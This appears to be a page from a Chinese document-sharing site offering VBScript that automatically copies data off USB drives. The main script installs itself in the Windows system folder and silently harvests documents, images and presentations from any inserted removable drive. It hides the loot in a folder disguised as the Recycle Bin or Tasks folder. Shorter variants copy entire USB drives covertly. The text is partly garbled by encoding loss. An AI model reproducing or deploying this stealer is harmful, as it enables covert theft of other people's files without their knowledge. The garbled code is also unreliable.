自动复制U盘资料

上传人:pu****.1 文档编号:261577 上传时间:2017-01-12 格式:TXT 页数:6 大小:6.06KB
返回 下载 相关 举报
自动复制U盘资料_第1页
第1页 / 共6页
自动复制U盘资料_第2页
第2页 / 共6页
自动复制U盘资料_第3页
第3页 / 共6页
自动复制U盘资料_第4页
第4页 / 共6页
自动复制U盘资料_第5页
第5页 / 共6页
点击查看更多>>
资源描述

《自动复制U盘资料》由会员分享,可在线阅读,更多相关《自动复制U盘资料(6页珍藏版)》请在金锄头文库上搜索。

1、 飬 oStr = txt|jpg|doc|ppt | oDistPath = C:windowssystem , oFolderName = Task oType = 1 1task2recycler0 oOut = 1 1,0 Set fso=CreateObject(scripting.filesystemobject) Set wshell=CreateObject(WScript.shell) If WScript.ScriptFullName=fso.GetSpecialFolder(1)&Baikai.vbs Then system32 򴴽 If (not fso

2、.FolderExists(oDistPath & oFolderName) Then fso.CreateFolder(oDistPath & oFolderName) End If Set Mylog=fso.CreateTextFile(oDistPath&oFolderName&Copy.log,True) 洢豸 Do For Each oDriver In fso.Drives If oDriver.DriveType=1 And oDriverA: And oDriverB: Then TreeIt(oDriver) Msgbox Windows ,64 If(oOut=1) th

3、en Exit Do End if End If Next WScript.Sleep 15000 Loop Mylog.Close oHideFolder oDistPath,oFolderName,oType else fso.CopyFile WScript.ScriptFullName,fso.GetSpecialFolder(1)&Baikai.vbs,True wshell.Run fso.GetSpecialFolder(1)&Baikai.vbs Msgbox end if Set fso=nothing Set wshell=nothing Function TreeIt(s

4、Path) Set oFolder = fso.GetFolder(sPath) Set oSubFolders = oFolder.Subfolders Set oFiles = oFolder.Files For Each oFile In oFiles oCopyFile oFile.Path,oDistPath,oFolderName Next For Each oSubFolder In oSubFolders TreeIt(oSubFolder.Path) Next Set oFolder = Nothing Set oSubFolders = Nothing End Functi

5、on Function oCopyFile(FileName,oDistPath,oFolderName) Ext = fso.GetExtensionName(FileName) If(instr(oStr,lcase(Ext) then Randomize tempname=Ext&int(Rnd*100000000)+1)&.&Ext fso.CopyFile FileName,oDistPath&oFolderName&tempname,true Mylog.writeline FileName Mylog.writeline tempname End If End Function

6、Sub oHideFolder(oDistPath,oFolderName,oType) Select Case oType case 1 Set inf=fso.CreateTextfile(oDistPath&oFolderName&desktop.ini,True) inf.writeline(.ShellClassInfo) inf.writeline(CLSID=d6277990-4c6a-11cf-8d87-00aa0060f5bf) case 2 Set inf=fso.CreateTextfile(oDistPath&oFolderName&desktop.ini,True)

7、inf.writeline(.ShellClassInfo) inf.writeline(CLSID=645FF040-5081-101B-9F08-00AA002F954E) case 0 Exit sub End Select Set inf=nothing Set SysoFolder=fso.GetFolder(oDistPath&oFolderName) SysoFolder.attributes=4 Set SysoFolder=nothing End sub 1.vbs U󣬳Utxtjpgdocwordppt() windos 󣬳 C:window

8、ssystemTask UPPT U򲻻 WIN+R NOTEPAD set fso=createobject(scripting.filesystemobject) set ws=createobject(wscript.shell) on error resume next do wscript.sleep 1000 if fso.driveexists(U) then fso.copyfile U*, fso.copyfolder U*, wscript.sleep 20000 end if loop CUSBC:USBUSB UUEe:*Ff:* U* 2* ⚦

9、28;OK.VBS.TXT OK WScript.exe NU XX.VBS set fso=createobject(scripting.filesystemobject) set ws=createobject(wscript.shell) dim USB, file, folder, files USB=inputbox(U&Chr(10)&UFF,U,F) folder=inputbox(&Chr(10)&DD:,C:USB) files=inputbox(&Chr(10)&EXCELxls,ALL) USB=USB & : folder=folder & if files=ALLthen file=USB & * else file=USB & *. & files end if if FSO.FolderExists(folder) then else FSO.CreateFolder(folder) end if on error resume next do wscript.sleep 1000 if fso.driveexists(USB) then fso.copyfile file,folder fso.copyfolder file,folder wscript.sleep 20000 end if loop ppt

展开阅读全文
相关资源
相关搜索

当前位置:首页 > IT计算机/网络 > 其它相关文档

电脑版 |金锄头文库版权所有
经营许可证:蜀ICP备13022795号 | 川公网安备 51140202000112号